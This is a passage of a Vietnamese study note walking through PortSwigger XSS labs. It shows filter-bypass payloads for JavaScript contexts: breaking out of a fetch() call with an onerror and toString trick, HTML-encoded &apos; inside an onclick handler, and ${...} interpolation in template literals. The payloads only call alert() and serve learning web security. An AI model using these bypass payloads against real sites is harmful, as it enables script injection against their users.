    • Payload: q=1'},{x:'
    • Client-side script: fetch('/analytics', {method:'post',body:'/post?postId=5&q=1'},{x:''}).finally(_ => window.location = '/')
    • Việc truyền nhiều đối số vào hàm fetch sẽ không gây ra vấn đề.
  4. Câu lệnh throw cần phải được thực thi nên ta tạo ra một arrow function:
    • Payload: q=1'},x=p=>{onerror=alert;throw/**/1},{x:'
    • Client-side script: fetch('/analytics', {method:'post',body:'/post?postId=5&q=1'},x=p=>{onerror=alert;throw+1},{x:''}).finally(_ => window.location = '/').
    • Comment rỗng (/**/) được dùng để tạo khoảng trắng.
  5. Để thực thi hàm x ở trên, ta sẽ gán nó cho hàm toString của global object window rồi thực hiện cộng chuỗi với window để gọi hàm:
    • Payload: q=1'},x=p=>{onerror=alert;throw/**/1337},window.toString=x,window+'',{x:'
    • Client-side script: fetch('/analytics', {method:'post',body:'/post?postId=5&q=1'},x=p=>{onerror=alert;throw/**/1},window.toString=x,window+'',{x:''}).finally(_ => window.location = '/')
    • Có thể thấy, ta lợi dụng các đối số truyền vào hàm fetch để thực thi script.

Như vậy, payload cuối cùng sẽ là:

q=1'},x=p=>{onerror=alert;throw/**/1337},window.toString=x,window+'',{x:'

Making Use of HTML-encoding

Nếu ngữ cảnh của XSS là bên trong các event handler thì ta có thể sử dụng HTML-encoding để bypass các filter. Lý do là vì, khi trình duyệt parse các tag và attribute có trong response thì nó sẽ thực hiện HTML-decoding cho các giá trị của attribute trước rồi mới xử lý những thứ khác1.

Nếu ngữ cảnh XSS có dạng như sau:

<a href="#" onclick="... var input='controllable data here'; ...">

Và ứng dụng chặn hoặc escape ký tự ' thì ta có thể sử dụng payload sau:

&apos;-alert(document.domain)-&apos;

Lab: Stored XSS into Onclick Event with Angle Brackets and Double Quotes HTML-encoded and Single Quotes and Backslash Escaped

Lab này tồn tại lỗ hổng trong phần comment. Mục tiêu là thực thi hàm alert khi click vào author của comment.

Tạo một comment với website là http://a.com:

POST /post/comment HTTP/2
Host: 0a2900530374e33384811d4700cb00ba.web-security-academy.net
Cookie: session=nZqMEYhjdzT2YezEpmRxG6VUUAZ7Djty
Content-Length: 106
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a2900530374e33384811d4700cb00ba.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a2900530374e33384811d4700cb00ba.web-security-academy.net/post?postId=6
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
csrf=Pp0iTDi8tjZTEf8HtKRj4UKZ2xjfunAp&postId=6&comment=a&name=a&email=a%40a.com&website=http%3A%2F%2Fa.com

Phần bình luận của bài đăng với ID = 6 có đoạn code sau:

<section class="comment">
	<p>
		<img src="/resources/images/avatarDefault.svg" class="avatar">                            
		<a id="author" href="http://a.com" onclick="var tracker={track(){}};tracker.track('http://a.com');">a</a> | 15 April 2024
	</p>
	<p>a</p>
	<p></p>
</section>

Sử dụng payload sau:

http://a.com&apos;)-alert(1)//

Kết quả: hàm alert được thực thi khi author của comment được bấm vào.

XSS in JavaScript Template Literals

Nếu ngữ cảnh của XSS ở trong template string:

<script>
...
var input = `controllable data here`;
...
</script>

Thì chỉ cần sử dụng cú pháp nội suy (${...}) để thực thi code.

Lab: Reflected XSS into a Template Literal with Angle Brackets, Single, Double Quotes, Backslash and Backticks Unicode-escaped

Mô tả:

  • Tồn tại lỗ hổng trong phần tìm kiếm.
  • User input được chèn vào một template string nhưng các ký tự đóng/mở tag, nháy kép và nháy đơn bị HTML-encode.
  • Dấu backtick cũng bị escape.
  • Mục tiêu là thực thi hàm alert.

Tìm kiếm với từ khóa hello thì nhận được response có chứa đoạn code sau:

<script>
	var message = `0 search results for 'hello'`;
	document.getElementById('searchMessage').innerText = message;
</script>

Sử dụng payload sau:

${alert(1)}
list
from outgoing([[Port Swigger - XSS Contexts]])
sort file.ctime asc

Resources

Footnotes

  1. cũng là lý do vì sao các ký tự encode trong lab Lab Reflected XSS in a JavaScript URL with Some Characters Blocked vẫn có thể sử dụng.